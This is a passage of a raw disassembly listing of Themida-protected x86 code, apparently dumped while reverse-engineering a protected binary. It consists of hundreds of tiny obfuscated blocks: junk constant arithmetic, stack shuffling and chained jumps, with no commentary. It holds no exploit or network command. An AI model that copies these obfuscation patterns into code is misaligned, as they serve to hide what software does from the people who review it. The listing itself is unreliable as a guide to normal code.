[edi+20h] push ebp jmp loc_59D3F7 ; --------------------------------------------------------------------------- loc_599BF1: ; CODE XREF: Themida_:0059D4D2j mov [esp], ebp mov ebp, 2 push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], ebp pop esi jmp loc_5A24EC ; --------------------------------------------------------------------------- loc_599C18: ; CODE XREF: Themida_:00591AC8j pop ecx add esp, 4 xchg edi, [esp] pop esp push ebx mov ebx, esp add ebx, 4 push eax mov eax, 776C4D11h jmp loc_59F87D ; --------------------------------------------------------------------------- loc_599C34: ; CODE XREF: Themida_:005977E3j add ebp, 9E07FBF6h add ebp, 0C9F0E5FCh push edx mov edx, 30AF5CC6h sub eax, edx pop edx add eax, ebp add eax, 30AF5CC6h mov ebp, [esp] jmp loc_599AB6 ; --------------------------------------------------------------------------- loc_599C58: ; CODE XREF: Themida_:0059A1D3j sub [esp], bh mov bh, [esp] add esp, 4 push small 7B11h mov [esp], cx jmp loc_59FC62 ; --------------------------------------------------------------------------- loc_599C6E: ; CODE XREF: Themida_:005A50AFj mov ebx, 4BAE79EBh jmp loc_5A169F ; --------------------------------------------------------------------------- loc_599C78: ; CODE XREF: Themida_:0059550Bj push 28A3h mov [esp], ebp mov ebp, esp push edx mov edx, 79B002C4h sub edx, 0FFFFFFFFh sub edx, 1 add edx, 864FFD40h push 3997h mov [esp], esi mov esi, 1A7036C6h xor esi, 5DB534A6h push ebx mov ebx, 0A1A0E03h sub ebx, 0C3E9A021h sub ebp, ebx pop ebx jmp loc_59AA3B ; --------------------------------------------------------------------------- loc_599CBE: ; CODE XREF: Themida_:0059F6ADj pop edx inc ebp xchg edx, ebp neg edx jmp loc_5A0059 ; --------------------------------------------------------------------------- loc_599CC9: ; CODE XREF: Themida_:00594C3Aj add esp, 4 jmp loc_5A3D96 ; --------------------------------------------------------------------------- loc_599CD4: ; CODE XREF: Themida_:005A2D7Aj add ebp, ebx add ebp, 78BE449Dh jmp loc_59DEFD ; --------------------------------------------------------------------------- loc_599CE1: ; CODE XREF: Themida_:0059162Dj push 6FCAh jmp loc_59F4B8 ; --------------------------------------------------------------------------- loc_599CEB: ; CODE XREF: Themida_:005934C6j pop esp movsx ecx, ax jmp loc_5A29D9 ; --------------------------------------------------------------------------- loc_599CF4: ; CODE XREF: Themida_:00596F68j add esi, edx pop edx push edx mov edx, 4 add esi, edx pop edx xor esi, [esp] jmp loc_5A2ED5 ; --------------------------------------------------------------------------- loc_599D08: ; CODE XREF: Themida_:0059FC55j or edx, eax shl edx, 1 push eax push edi mov edi, 630753B4h mov eax, 293E59A7h jmp loc_590FC6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_599D2D: ; CODE XREF: Themida_:0059798Fj pop esi sub ebx, edx jmp loc_59087A ; --------------------------------------------------------------------------- loc_599D35: ; CODE XREF: Themida_:005A18E1j mov [esp], edi push esp jmp loc_5914A8 ; --------------------------------------------------------------------------- loc_599D3E: ; CODE XREF: Themida_:00590E22j sub esp, 4 jmp loc_59D852 ; --------------------------------------------------------------------------- loc_599D49: ; CODE XREF: Themida_:005913F4j push ebp pop esi jmp loc_5A4955 ; --------------------------------------------------------------------------- loc_599D50: ; CODE XREF: Themida_:0059D951j add edi, 0EF6102F3h add edi, 1 push ebx push 6E2D06ADh pop ebx xor edi, ebx jmp loc_5A36CC ; --------------------------------------------------------------------------- loc_599D67: ; CODE XREF: Themida_:005A2412j push esi mov esi, 150E06ADh push esi xor dword ptr [esp], 5DF43FBBh pop edx push edi mov edi, 5DF43FBBh jmp loc_59798C ; --------------------------------------------------------------------------- loc_599D81: ; CODE XREF: Themida_:005A3C84j mov eax, 1D2705A3h not eax dec eax xor eax, 15258C3h sub eax, 1AAE7771h jmp loc_592604 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_594DD2 ; --------------------------------------------------------------------------- loc_599DB2: ; CODE XREF: Themida_:005996C1j sub edx, 66D171E6h pop eax jmp loc_5987EE ; --------------------------------------------------------------------------- loc_599DBE: ; CODE XREF: Themida_:00598931j shr ebp, 2 jmp loc_596CC8 ; --------------------------------------------------------------------------- loc_599DC6: ; CODE XREF: Themida_:00590784j xchg esi, [esp] pop esp mov [esp], edx push esi push eax mov eax, 1A4060DFh jmp loc_5984E1 ; --------------------------------------------------------------------------- loc_599DD9: ; CODE XREF: Themida_:00596791j add ecx, edx jmp loc_59A072 ; --------------------------------------------------------------------------- loc_599DE0: ; CODE XREF: Themida_:005964C9j sub ebx, 0DCDFB102h jmp loc_596857 ; --------------------------------------------------------------------------- loc_599DEB: ; CODE XREF: Themida_:00593CB0j mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] jmp loc_5967D6 ; --------------------------------------------------------------------------- loc_599DFD: ; CODE XREF: Themida_:005A33E4j add eax, 4 jmp loc_5A2567 ; --------------------------------------------------------------------------- loc_599E07: ; CODE XREF: Themida_:005A1DB0j add ch, 0FEh dec ch push eax mov ah, 4Bh xor ah, 52h sub ah, 69h sub ch, ah pop eax and dl, ch jmp loc_597510 ; --------------------------------------------------------------------------- loc_599E1F: ; CODE XREF: Themida_:005938B0j push dword ptr [esp] jmp loc_5A1E8E ; --------------------------------------------------------------------------- loc_599E27: ; CODE XREF: Themida_:005994C5j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_592D09 ; --------------------------------------------------------------------------- loc_599E45: ; CODE XREF: Themida_:0059D55Bj mov ecx, 68435AE2h push 7119h mov [esp], ecx jmp loc_59F434 ; --------------------------------------------------------------------------- loc_599E57: ; CODE XREF: Themida_:00598F76j push esi jmp loc_59138F ; --------------------------------------------------------------------------- loc_599E5D: ; CODE XREF: Themida_:005992F3j add edx, esi pop esi xchg edx, [esp] jmp loc_595843 ; --------------------------------------------------------------------------- loc_599E68: ; CODE XREF: Themida_:0059DE02j mov [esp], ebx mov ebx, 11716E5Ah jmp loc_59D720 ; --------------------------------------------------------------------------- loc_599E75: ; CODE XREF: Themida_:005A0FE2j mov edi, 1AC55E4Dh mov ebx, edi jmp loc_5944BD ; --------------------------------------------------------------------------- loc_599E81: ; CODE XREF: Themida_:005A14DDj mov eax, [esp] jmp loc_59EF2B ; --------------------------------------------------------------------------- loc_599E89: ; CODE XREF: Themida_:005A0A1Bj mov [esp], edi mov edi, 5D19FA6Ch add eax, edi pop edi and esi, eax pop eax inc esi neg esi add esi, 907D6D65h xor edx, esi pop esi shl edx, 4 sub edx, 0FFFFFFFFh push ebx mov ebx, 97B815FDh sub edx, ebx pop ebx add eax, edx pop edx add eax, 4 jmp loc_594B7A ; --------------------------------------------------------------------------- loc_599EBF: ; CODE XREF: Themida_:005A1BC6j pop ebp jmp loc_5A080B ; --------------------------------------------------------------------------- loc_599EC5: ; CODE XREF: Themida_:005A1A57j mov bh, 18h xor bh, ah pop eax mov ah, bh pop ebx or ah, 77h sub esp, 4 mov [esp], ecx mov ch, 3Bh shl ch, 4 jmp loc_5A3F92 ; --------------------------------------------------------------------------- loc_599EE3: ; CODE XREF: Themida_:00591058j pop edx pop eax jmp loc_593FFC ; --------------------------------------------------------------------------- loc_599EEA: ; CODE XREF: Themida_:0059D52Ej push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5963C0 ; --------------------------------------------------------------------------- loc_599F01: ; CODE XREF: Themida_:0059B67Aj xchg ebx, [esp] jmp loc_594D15 ; --------------------------------------------------------------------------- loc_599F09: ; CODE XREF: Themida_:005A0E28j inc cl push dx mov dh, 1 jmp loc_5A0499 ; --------------------------------------------------------------------------- loc_599F14: ; CODE XREF: Themida_:0059566Fj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_5A327A ; --------------------------------------------------------------------------- loc_599F35: ; CODE XREF: Themida_:005A1F3Aj sub ebp, 28385866h mov edx, [esp] add esp, 4 push 377h mov [esp], edi mov edi, 4 add ebp, 3E4F2562h sub ebp, 1A346EF7h add ebp, edi add ebp, 1A346EF7h sub ebp, 3E4F2562h mov edi, [esp] add esp, 4 xor ebp, [esp] jmp loc_591594 ; --------------------------------------------------------------------------- loc_599F79: ; CODE XREF: Themida_:005A4CE3j mov eax, [esp] add esp, 4 jmp loc_5A05D4 ; --------------------------------------------------------------------------- loc_599F87: ; CODE XREF: Themida_:00595E9Aj mov edi, 4AE74AC6h neg edi shr edi, 2 and edi, 4B8443B1h or edi, 6F3D040Bh and edi, 44B663CCh sub edi, 63ADED5h add ebp, edi pop edi sub ebp, esi sub ebp, 3DF92233h mov esi, [esp] add esp, 4 xchg ecx, ebp dec ecx xor ebp, ecx xor ecx, ebp xor ebp, ecx xchg eax, ebp not eax xchg eax, ebp sub ebp, 0AD19E706h add eax, 63792808h sub eax, 4E6809ADh sub eax, ebp add eax, 4E6809ADh sub eax, 63792808h push dword ptr [esp] pop ebp add esp, 4 add eax, 5E2854C9h add eax, edx push ecx mov ecx, 5E2854C9h sub eax, 614C136Ah sub eax, ecx push edi jmp loc_59ED14 ; --------------------------------------------------------------------------- loc_59A00A: ; CODE XREF: Themida_:005A0F9Cj shr ecx, 4 not ecx neg ecx shl ecx, 8 xor ecx, 58BF4F04h add ebx, ecx pop ecx push edx mov edx, 4 add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_5945B3 ; --------------------------------------------------------------------------- loc_59A035: ; CODE XREF: Themida_:0059FF3Dj add edx, esi sub edx, 73246ABCh push eax mov eax, 4B872A83h add edx, eax jmp loc_598FB7 ; --------------------------------------------------------------------------- loc_59A04A: ; CODE XREF: Themida_:00594B1Bj push 46A9h jmp loc_5923C9 ; --------------------------------------------------------------------------- loc_59A054: ; CODE XREF: Themida_:00591091j push esi push 1431h jmp loc_59CE24 ; --------------------------------------------------------------------------- loc_59A05F: ; CODE XREF: Themida_:00595B83j mov ecx, [esp] push edx jmp loc_591690 ; --------------------------------------------------------------------------- loc_59A068: ; CODE XREF: Themida_:005A3A42j xchg edi, [esp] pop esp push edi jmp loc_590D0F ; --------------------------------------------------------------------------- loc_59A072: ; CODE XREF: Themida_:00599DDBj push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 1409h mov [esp], ebx push eax mov eax, 2 mov ebx, eax jmp loc_5A3194 ; --------------------------------------------------------------------------- loc_59A096: ; CODE XREF: Themida_:0059DD0Fj mov [esp], ebx push 1472h push esp jmp loc_59303C ; --------------------------------------------------------------------------- loc_59A0A4: ; CODE XREF: Themida_:00594ADDj push eax push ecx mov ecx, 0A75513Ah neg ecx inc ecx neg ecx jmp loc_5A0127 ; --------------------------------------------------------------------------- loc_59A0B5: ; CODE XREF: Themida_:005922B6j mov esi, 0EBFC89CCh jmp loc_5A286F ; --------------------------------------------------------------------------- loc_59A0BF: ; CODE XREF: Themida_:0059AE0Fj mov ecx, 11716E5Ah add dword ptr [esp+4], 4FE157EDh push esi jmp loc_594EB6 ; --------------------------------------------------------------------------- loc_59A0D2: ; CODE XREF: Themida_:00597FCBj mov edi, 4 add ecx, edi pop edi push 7222h mov [esp], ebx jmp loc_59F1C1 ; --------------------------------------------------------------------------- loc_59A0E7: ; CODE XREF: Themida_:0059433Bj sub esp, 2 mov [esp], cx push eax mov ah, 8Dh xor ah, 0F1h not ah jmp loc_59F533 ; --------------------------------------------------------------------------- loc_59A0FB: ; CODE XREF: Themida_:005A0CA4j sub bl, cl pop ecx sub esp, 4 mov [esp], edx mov dh, 0CBh jmp loc_5A3BBB ; --------------------------------------------------------------------------- loc_59A10B: ; CODE XREF: Themida_:00595CB6j add eax, esi add eax, 37C6206Bh push 3572h mov [esp], ebx jmp loc_597AC2 ; --------------------------------------------------------------------------- loc_59A11F: ; CODE XREF: Themida_:005A49EEj mov [esp], ecx mov ecx, 2CD950DAh jmp loc_590A03 ; --------------------------------------------------------------------------- loc_59A12C: ; CODE XREF: Themida_:00598416j xor cl, 1Dh sub esp, 4 mov [esp], ebx push eax mov al, 62h jmp loc_59761B ; --------------------------------------------------------------------------- locret_59A140: ; CODE XREF: Themida_:00592B3Fj retn ; --------------------------------------------------------------------------- jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59A146: ; CODE XREF: Themida_:0059E492j sub edx, edi pop edi shr edx, 5 push ecx push 0CFE23E02h mov ecx, [esp] add esp, 4 sub edx, 7F4A5B94h sub edx, ecx add edx, 7F4A5B94h pop ecx mov eax, edx mov edx, [esp] jmp loc_59660B ; --------------------------------------------------------------------------- loc_59A174: ; CODE XREF: Themida_:00595BD6j add ecx, edx add ecx, 11BF48E1h sub ecx, 582A5A1Eh pop edx add edi, ecx pop ecx jmp loc_5937E1 ; --------------------------------------------------------------------------- loc_59A18B: ; CODE XREF: Themida_:00592140j push ecx push eax push 7F224663h pop eax jmp loc_59525E ; --------------------------------------------------------------------------- loc_59A198: ; CODE XREF: Themida_:00595E86j add edi, 4 xchg edi, [esp] jmp loc_591501 ; --------------------------------------------------------------------------- loc_59A1A6: ; CODE XREF: Themida_:00593DD2j not edx push ebp mov ebp, 1DB8A022h jmp loc_5913F9 ; --------------------------------------------------------------------------- loc_59A1B3: ; CODE XREF: Themida_:00591AEDj push 2C8Bh mov [esp], edi jmp loc_59AD7C ; --------------------------------------------------------------------------- loc_59A1C0: ; CODE XREF: Themida_:00595FBBj xor edx, [esp] xor [esp], edx xchg eax, edx jmp loc_592595 ; --------------------------------------------------------------------------- loc_59A1CC: ; CODE XREF: Themida_:0059E13Bj mov bh, 92h push 0 jmp loc_599C58 ; --------------------------------------------------------------------------- loc_59A1D8: ; CODE XREF: Themida_:0059CA4Ej push 1Ch mov ebx, [esp] push ebp push esp pop ebp jmp loc_59EDA5 ; --------------------------------------------------------------------------- loc_59A1E8: ; CODE XREF: Themida_:005A4929j push eax mov eax, 4F3C2042h inc eax jmp loc_5A02C5 ; --------------------------------------------------------------------------- loc_59A1F4: ; CODE XREF: Themida_:005A3563j sub ebx, 2AA30140h add ebx, 75B62DA8h add ebx, edi push edi mov edi, 75B62DA8h sub ebx, edi jmp loc_59FC38 ; --------------------------------------------------------------------------- loc_59A20F: ; CODE XREF: Themida_:005A5676j pop ebx jmp loc_59C50D ; --------------------------------------------------------------------------- loc_59A215: ; CODE XREF: Themida_:005A4C69j pop edx jmp loc_5A1265 ; --------------------------------------------------------------------------- loc_59A21B: ; CODE XREF: Themida_:005A4A48j sub esp, 4 mov [esp], ecx xchg esi, [esp] push esi jmp loc_59E477 ; --------------------------------------------------------------------------- loc_59A22D: ; CODE XREF: Themida_:0059D38Fj pop esp mov [esp], ecx jmp loc_5A53B4 ; --------------------------------------------------------------------------- loc_59A236: ; CODE XREF: Themida_:00599B25j add esi, 4 xchg esi, [esp] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_594C52 ; --------------------------------------------------------------------------- loc_59A25F: ; CODE XREF: Themida_:00590B74j shr ecx, 4 and ecx, 2C535FC1h xor ecx, 8035E45h add edi, ecx mov ecx, [esp] jmp loc_59D001 ; --------------------------------------------------------------------------- loc_59A278: ; CODE XREF: Themida_:00597944j push esi push ebx jmp loc_597318 ; --------------------------------------------------------------------------- loc_59A27F: ; CODE XREF: Themida_:005A25EFj inc ebp add ebp, 0EBE59D9Dh mov ebx, ebp pop ebp and ebx, 11206010h sub ebx, 55542218h jmp loc_59BF54 ; --------------------------------------------------------------------------- loc_59A29A: ; CODE XREF: Themida_:005A3DE5j add esi, edi pop edi push edi mov edi, 163E2F10h shl edi, 8 and edi, 729A28BAh jmp loc_591BA4 ; --------------------------------------------------------------------------- loc_59A2B1: ; CODE XREF: Themida_:00592408j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], esi push edi sub dword ptr [esp], 65885E65h jmp loc_591096 ; --------------------------------------------------------------------------- loc_59A2CC: ; CODE XREF: Themida_:00596B50j pop edx add bl, 0DAh push 5134h mov [esp], edx mov dh, 0Eh add bl, dh pop edx movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_59404B ; --------------------------------------------------------------------------- loc_59A2F4: ; CODE XREF: Themida_:005A1758j sub ecx, 51615563h jmp loc_59249F ; --------------------------------------------------------------------------- loc_59A2FF: ; CODE XREF: Themida_:00593F26j pop esp push 3679h jmp loc_5A2EBC ; --------------------------------------------------------------------------- loc_59A30A: ; CODE XREF: Themida_:0059F952j push eax mov eax, 423057EEh sub [esp+4], eax mov eax, [esp] add esp, 4 sub [esp], edi add dword ptr [esp], 423057EEh pop edi push ecx sub esp, 4 jmp loc_5A44D3 ; --------------------------------------------------------------------------- loc_59A331: ; CODE XREF: Themida_:005A2588j mov edi, 0F55483FCh sub esi, 12347F45h add esi, 6A8D3736h jmp loc_59F765 ; --------------------------------------------------------------------------- loc_59A347: ; CODE XREF: Themida_:00590C5Aj mov ebx, eax mov esi, ebx pop ebx pop eax xor eax, esi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push edi mov edi, esp push esi jmp loc_5A21F5 ; --------------------------------------------------------------------------- loc_59A364: ; CODE XREF: Themida_:005A30D1j mov eax, 33C71A19h or eax, 64A17AB8h sub eax, 0FFFFFFFFh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 47F10224h mov edx, 5D7E402Bh sub edx, ebp jmp loc_59A770 ; --------------------------------------------------------------------------- loc_59A39D: ; CODE XREF: Themida_:005A49A2j xchg ecx, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_592876 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edi push esp pop edi jmp loc_592F85 ; --------------------------------------------------------------------------- loc_59A3D0: ; CODE XREF: Themida_:00597272j mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push ecx push edx jmp loc_59A9B7 ; --------------------------------------------------------------------------- loc_59A3E8: ; CODE XREF: Themida_:005A062Cj sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 6FCA4D3Ah push edx mov edx, 77694A7Ch dec edx jmp loc_5A47B2 ; --------------------------------------------------------------------------- loc_59A411: ; CODE XREF: Themida_:005A20C5j add edi, esi sub edi, 1C224536h sub edi, 1617E4h pop esi xchg edi, [esp] mov esp, [esp] jmp loc_595449 ; --------------------------------------------------------------------------- loc_59A42B: ; CODE XREF: Themida_:0059D085j mov [esp], esi mov esi, 394C26CAh not esi dec esi xor esi, 3C04299Bh xor esi, 9447F99h add esi, 395B7413h xor esi, 1957422Fh add ebp, esi mov esi, [esp] add esp, 4 xor ebp, 181629D5h jmp loc_593AC1 ; --------------------------------------------------------------------------- loc_59A464: ; CODE XREF: Themida_:005A2124j mov ch, al push edx mov dl, ch mov bh, dl pop edx pop ecx jmp loc_5A2902 ; --------------------------------------------------------------------------- loc_59A472: ; CODE XREF: Themida_:005A0054j sub eax, 0FE7CFD7Ch jmp loc_5A3A23 ; --------------------------------------------------------------------------- loc_59A47C: ; CODE XREF: Themida_:005A05C9j sub edx, ebx mov ebx, [esp] add esp, 4 xor edx, 383F41B4h jmp loc_5981F6 ; --------------------------------------------------------------------------- loc_59A492: ; CODE XREF: Themida_:0059D2F4j push 19A0h mov [esp], edi push esp pop edi sub esp, 4 mov [esp], esi mov esi, 4 add edi, esi pop esi sub esp, 4 mov [esp], ebp mov ebp, 4 push 1DB4h jmp loc_59E140 ; --------------------------------------------------------------------------- loc_59A4C2: ; CODE XREF: Themida_:0059CC0Cj pop edx jmp loc_59CE55 ; --------------------------------------------------------------------------- loc_59A4C8: ; CODE XREF: Themida_:0059E074j mov eax, edx mov edx, [esp] add esp, 4 mov edi, [esp] jmp loc_594320 ; --------------------------------------------------------------------------- loc_59A4DB: ; CODE XREF: Themida_:005A2F87j pop edx xor al, ch jmp loc_599607 ; --------------------------------------------------------------------------- loc_59A4E3: ; CODE XREF: Themida_:005A4318j xchg edi, [esp] pop esp mov [esp], ebx push esp pop ebx push eax mov eax, 4 sub ebx, 69041A68h jmp loc_5937CE ; --------------------------------------------------------------------------- loc_59A4FD: ; CODE XREF: Themida_:00592EA5j add esp, 4 add edx, 0BD0EA737h push 16D8h mov [esp], ebp jmp loc_596D72 ; --------------------------------------------------------------------------- loc_59A516: ; CODE XREF: Themida_:00597987j mov ch, 20h dec ch not ch jmp loc_59B54A ; --------------------------------------------------------------------------- loc_59A521: ; CODE XREF: Themida_:0059560Bj mov ch, dl pop edx mov dh, ch jmp loc_5A0AB6 ; --------------------------------------------------------------------------- loc_59A52B: ; CODE XREF: Themida_:0059EA73j pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_596706 ; --------------------------------------------------------------------------- loc_59A53B: ; CODE XREF: Themida_:0059228Aj pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_592CC5 ; --------------------------------------------------------------------------- loc_59A54A: ; CODE XREF: Themida_:005A2046j pop ecx dec ecx xchg ecx, esi jmp loc_5986B1 ; --------------------------------------------------------------------------- loc_59A553: ; CODE XREF: Themida_:005A243Fj add ebp, ecx jmp loc_59127C ; --------------------------------------------------------------------------- loc_59A55A: ; CODE XREF: Themida_:00596852j mov ebp, 31012A16h sub ebp, 26D302DFh jmp loc_599A9C ; --------------------------------------------------------------------------- lodsd add eax, 51490605h push edx jmp loc_5A15FE ; --------------------------------------------------------------------------- loc_59A576: ; CODE XREF: Themida_:0059439Bj push dword ptr [esp] pop eax sub esp, 4 jmp loc_59DEE8 ; --------------------------------------------------------------------------- loc_59A582: ; CODE XREF: Themida_:0059A91Fj pop esp jmp loc_5A1B77 ; --------------------------------------------------------------------------- loc_59A588: ; CODE XREF: Themida_:00595D2Aj pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr ecx, 0Ah jmp loc_59EC21 ; --------------------------------------------------------------------------- loc_59A59E: ; CODE XREF: Themida_:00593BD9j xchg edi, ebp shr ebp, 6 jmp loc_5949D7 ; --------------------------------------------------------------------------- loc_59A5A8: ; CODE XREF: Themida_:00596EA3j mov [esp], ebp jmp loc_5A0DBC ; --------------------------------------------------------------------------- loc_59A5B0: ; CODE XREF: Themida_:00596289j mov [esp], eax jmp loc_59A6F0 ; --------------------------------------------------------------------------- loc_59A5B8: ; CODE XREF: Themida_:005A3449j push dword ptr [esp] jmp loc_594880 ; --------------------------------------------------------------------------- loc_59A5C0: ; CODE XREF: Themida_:0059363Cj push eax mov eax, 4 add esi, eax mov eax, [esp] push ebx jmp loc_5A4B75 ; --------------------------------------------------------------------------- loc_59A5D1: ; CODE XREF: Themida_:005A02FEj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_597EB4 ; --------------------------------------------------------------------------- loc_59A5E8: ; CODE XREF: Themida_:005A0CEAj push ecx pop ebp mov ecx, [esp] jmp loc_5A16AA ; --------------------------------------------------------------------------- loc_59A5F2: ; CODE XREF: Themida_:0059F73Cj sub ebp, 38BF4F46h jmp loc_599130 ; --------------------------------------------------------------------------- loc_59A5FD: ; CODE XREF: Themida_:005A0C7Ej add ebx, ecx push ecx mov ecx, 15303D2h jmp loc_59CD1D ; --------------------------------------------------------------------------- loc_59A60A: ; CODE XREF: Themida_:0059929Aj xor bl, al push ebx push 3FCh pop ebx jmp loc_5A5548 ; --------------------------------------------------------------------------- loc_59A618: ; CODE XREF: Themida_:0059B4C0j mov cx, [esp] jmp loc_59C8DC ; --------------------------------------------------------------------------- loc_59A621: ; CODE XREF: Themida_:005A3F09j xchg ebx, [esp] pop ecx jmp loc_5908B9 ; --------------------------------------------------------------------------- loc_59A62A: ; CODE XREF: Themida_:005931BAj push edx push esp jmp loc_5A4BC3 ; --------------------------------------------------------------------------- loc_59A631: ; CODE XREF: Themida_:00596A73j push esi push 5648h mov [esp], esp add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], ebx mov ebx, 0DBE3270h jmp loc_59258D ; --------------------------------------------------------------------------- loc_59A655: ; CODE XREF: Themida_:00592790j or eax, 37154342h dec eax or eax, 2B6F4C10h sub eax, 1351D680h add edx, eax pop eax push ebp push ebx mov ebx, 44E50FBAh mov ebp, 93D6650Ah sub ebp, ebx mov ebx, [esp] add esp, 4 push ecx jmp loc_59F11A ; --------------------------------------------------------------------------- loc_59A685: ; CODE XREF: Themida_:00591915j mov ebp, 73952832h add esi, ebp pop ebp xor esi, 2B917A95h shl esi, 2 push 1CE7h mov [esp], eax mov eax, 3641EAEh sub esi, eax pop eax push 0BA9h jmp loc_5A3C81 ; --------------------------------------------------------------------------- loc_59A6B0: ; CODE XREF: Themida_:00599993j add bl, ch mov ecx, [esp] add esp, 4 push ebx mov bh, 90h push edx jmp loc_59FE23 ; --------------------------------------------------------------------------- loc_59A6C1: ; CODE XREF: Themida_:00596093j push ecx push dword ptr [esp+4] pop ecx jmp loc_59E46C ; --------------------------------------------------------------------------- loc_59A6CC: ; CODE XREF: Themida_:005A222Cj push ecx mov ecx, 59D844FEh inc ecx add ecx, 253709B4h sub edx, ecx jmp loc_591CA9 ; --------------------------------------------------------------------------- loc_59A6E0: ; CODE XREF: Themida_:00599602j mov [esp], edx mov edx, 0D92D6A59h xor ecx, edx pop edx jmp loc_5A4D75 ; --------------------------------------------------------------------------- loc_59A6F0: ; CODE XREF: Themida_:0059A5B3j push esi mov esi, 2 mov eax, esi mov esi, [esp] jmp loc_59543E ; --------------------------------------------------------------------------- loc_59A700: ; CODE XREF: Themida_:0059F742j push ebp jmp loc_59AE8B ; --------------------------------------------------------------------------- loc_59A706: ; CODE XREF: Themida_:005A3E4Fj mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_59BDB0 ; --------------------------------------------------------------------------- loc_59A716: ; CODE XREF: Themida_:00596AF3j mov edx, [esp] add esp, 4 add edx, 4 sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_5974DA ; --------------------------------------------------------------------------- loc_59A735: ; CODE XREF: Themida_:00598AB5j or edx, 65DD6DD8h shr edx, 4 sub esp, 4 mov [esp], esi mov esi, 3E047107h jmp loc_5A3B03 ; --------------------------------------------------------------------------- loc_59A74E: ; CODE XREF: Themida_:0059E0D1j xchg esi, [esp] pop esp jmp loc_59DC0B ; --------------------------------------------------------------------------- loc_59A757: ; CODE XREF: Themida_:00590BBCj movzx cx, ah push 699Fh mov [esp], ecx push 5E87h mov [esp], esp jmp loc_5A1F96 ; --------------------------------------------------------------------------- loc_59A770: ; CODE XREF: Themida_:0059A398j pop ebp add eax, edx mov edx, [esp] add esp, 4 add eax, 0DB827E28h sub ecx, 3117316Ch push 314h mov [esp], edi mov edi, 4BB86860h add ecx, edi pop edi add ecx, eax sub ecx, 4BB86860h jmp loc_5987B0 ; --------------------------------------------------------------------------- loc_59A7A1: ; CODE XREF: Themida_:00598472j mov edx, 4 add eax, edx pop edx jmp loc_5A23C7 ; --------------------------------------------------------------------------- loc_59A7AE: ; CODE XREF: Themida_:0059E265j mov ecx, 7B071591h xor edx, ecx jmp loc_596C24 ; --------------------------------------------------------------------------- loc_59A7BA: ; CODE XREF: Themida_:005A4B0Bj mov ebx, [esp] push ecx jmp loc_59D30E ; --------------------------------------------------------------------------- loc_59A7C3: ; CODE XREF: Themida_:0059B3D3j mov ebp, 4 add ecx, ebp pop ebp sub esp, 4 mov [esp], esi push ecx push edi push 75D02827h pop edi add edi, 71E20719h push edx mov edx, 570C1DC2h xor edx, 41FF6C4Fh and edi, edx pop edx jmp loc_5A3F1C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_593DB1 ; --------------------------------------------------------------------------- loc_59A802: ; CODE XREF: Themida_:0059ADA5j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59AEC3 ; --------------------------------------------------------------------------- loc_59A811: ; CODE XREF: Themida_:005A14E9j xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 298C44CAh sub ebx, ecx mov ecx, [esp] jmp loc_59496D ; --------------------------------------------------------------------------- loc_59A827: ; CODE XREF: Themida_:00592E7Dj mov [esp], ecx push 22703194h jmp loc_5A2E41 ; --------------------------------------------------------------------------- loc_59A834: ; CODE XREF: Themida_:00599651j pop ecx push edx sub dword ptr [esp], 79D4448Fh pop esi add esi, 79D4448Fh pop edx push edx mov edx, 49C12987h and edx, 39B431C8h shr edx, 2 and edx, 187358B4h sub edx, 0A63274Dh dec edx add edx, 64C24C8Eh sub eax, 6E182184h jmp loc_597EA3 ; --------------------------------------------------------------------------- loc_59A871: ; CODE XREF: Themida_:0059B012j add edi, ebx mov ebx, [esp] add esp, 4 xor edi, [esp] jmp loc_592F2A ; --------------------------------------------------------------------------- loc_59A881: ; CODE XREF: Themida_:00591D6Bj add esp, 4 jmp loc_591A19 ; --------------------------------------------------------------------------- loc_59A88C: ; CODE XREF: Themida_:00593F90j add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push 6522h mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 push 41E9h mov [esp], ebx push esi push 67E65456h pop esi add esi, 9819ABAEh mov ebx, esi pop esi jmp loc_5904B9 ; 